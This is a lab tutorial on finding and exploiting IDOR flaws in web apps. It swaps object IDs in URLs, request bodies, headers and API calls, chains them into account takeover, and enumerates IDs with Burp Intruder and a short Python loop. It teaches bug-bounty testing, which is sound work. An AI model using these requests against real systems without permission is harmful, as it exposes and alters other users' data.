๐ฏ Lab Objectives
- Understand what IDOR is and why it happens
- Find IDOR vulnerabilities in URLs, request bodies, and APIs
- Exploit IDOR to access other users' private data
- Automate IDOR testing with Burp Intruder
IDOR (Insecure Direct Object Reference) happens when an app lets you access objects (files, records, accounts) just by knowing their ID โ without checking if you actually have permission. It's the #1 vulnerability in bug bounty programs and consistently in the OWASP Top 10.
Step 1 โ What is IDOR?
# Imagine a banking app. After login, you see your account:
GET /api/account/1001
# What happens if you change 1001 to 1002?
GET /api/account/1002 โ you see someone else's bank account!
# That's IDOR. The server uses the ID directly as a reference
# to the database object, without verifying the current user
# has permission to access that specific record.
# Where IDOR shows up:
URLs/query params: /user/1001/profile โ /user/1002/profile
POST body: {"user_id": 1001} โ {"user_id": 1002}
Headers: X-User-Id: 1001 โ X-User-Id: 1002
Cookies: user=1001 โ user=1002
API endpoints: GET /api/v1/orders/5678
Step 2 โ Finding IDOR in URLs
# Create TWO accounts on the target app (Account A and Account B)
# Log in as Account A and find any URL with an ID
# Example URLs to test:
https://target.com/profile?id=1001
https://target.com/download?file_id=55
https://target.com/invoice/INV-2024-001
https://target.com/messages/thread/789
# Step 1: Note the ID from Account A's session
https://target.com/profile?id=1001 โ Account A's ID
# Step 2: Log in as Account B, find its ID
Account B's profile URL โ id=1002
# Step 3: While logged in as Account B, access Account A's ID
https://target.com/profile?id=1001
# If you see Account A's data โ IDOR confirmed!
# In Burp: Proxy โ History โ find the request โ Send to Repeater
# Modify the ID value โ Send โ check if you get someone else's data
Step 3 โ IDOR in POST Request Bodies
# Sometimes the object ID is in the POST body, not the URL
# Intercept in Burp โ look for patterns like:
POST /api/update-address
{"user_id": 1001, "address": "123 Main St"}
POST /api/change-email
{"account": 1001, "email": "new@email.com"}
POST /api/delete-document
{"doc_id": 555, "confirm": true}
# Modify the ID to target other users
{"user_id": 1002, "address": "ATTACKER"} โ changed another user's address!
# In Burp Repeater: right-click on request โ Send to Repeater
# Change the user_id value and Send
Step 4 โ IDOR in Headers
# Some apps pass user identity in custom headers
# Watch for these in Burp Proxy โ History:
X-User-Id: 1001
X-Account: 1001
X-Customer-ID: 1001
User-Id: 1001
# Test by changing the header value:
curl -H "X-User-Id: 1002" https://target.com/api/account/data
# Even if the URL doesn't contain the ID, these headers
# might be used by the server to look up user data
Step 5 โ IDOR in REST APIs
# REST APIs are full of IDOR โ every endpoint with an ID is a target
# Enumerate common API patterns:
GET /api/users/1001 โ user profile
GET /api/users/1001/orders โ user's orders
GET /api/orders/5678 โ specific order
PUT /api/orders/5678 โ update order
DELETE /api/orders/5678 โ delete order
GET /api/messages/1001 โ private messages
# Test each with an ID belonging to another user:
curl -H "Authorization: Bearer YOUR_JWT_TOKEN" \
https://api.target.com/v1/users/1002/orders
# HTTP verbs matter! GET might be protected but PUT/DELETE might not:
curl -X DELETE -H "Authorization: Bearer YOUR_TOKEN" \
https://api.target.com/v1/orders/OTHER_USER_ORDER_ID
Step 6 โ Chained IDOR (ID โ Sensitive Action)
# The most impactful IDORs combine steps:
# Step 1: IDOR to read a victim's email address
# Step 2: Use password reset with their email โ account takeover
# Example chain:
1. GET /api/users/1002/profile โ returns {"email": "victim@email.com"}
2. POST /api/password-reset โ {"email": "victim@email.com"}
3. Reset link goes to victim's email... unless the reset token is also IDOR!
4. GET /api/reset/token?user_id=1002 โ returns the reset token directly
5. Account takeover complete.
# Also look for IDORs in file downloads:
GET /api/reports/download?report_id=99 โ admin reports
GET /documents/invoice_1001.pdf โ someone's invoice
Step 7 โ Mass IDOR Testing with Burp Intruder
# Automate testing many IDs with Burp Intruder
# Step 1: Capture the request in Burp Proxy
# Step 2: Right-click โ Send to Intruder
# Step 3: Positions tab โ clear all โ highlight the ID value โ Add ยง
GET /api/user/ยง1001ยง/profile
# Step 4: Payloads tab โ Payload type: Numbers
# From: 1000 To: 1100 Step: 1
# Step 5: Start Attack โ sort by Response Length
# Requests returning MORE data than usual = another user's profile!
# With Burp Pro: scanner detects IDOR automatically
# Free: use the manual Intruder method above
# Python script for IDOR fuzzing:
import requests
session = requests.Session()
session.headers['Authorization'] = 'Bearer YOUR_TOKEN'
for user_id in range(1000, 1100):
r = session.get(f'https://target.com/api/users/{user_id}/profile')
if r.status_code == 200:
print(f"[HIT] ID {user_id}: {r.text[:100]}")
Lab Complete! IDOR is the highest-paying vulnerability class in bug bounties. Companies like Facebook, Twitter, and Uber have paid $10,000โ$50,000+ for IDOR reports. Practice on PortSwigger Web Academy's Access Control labs.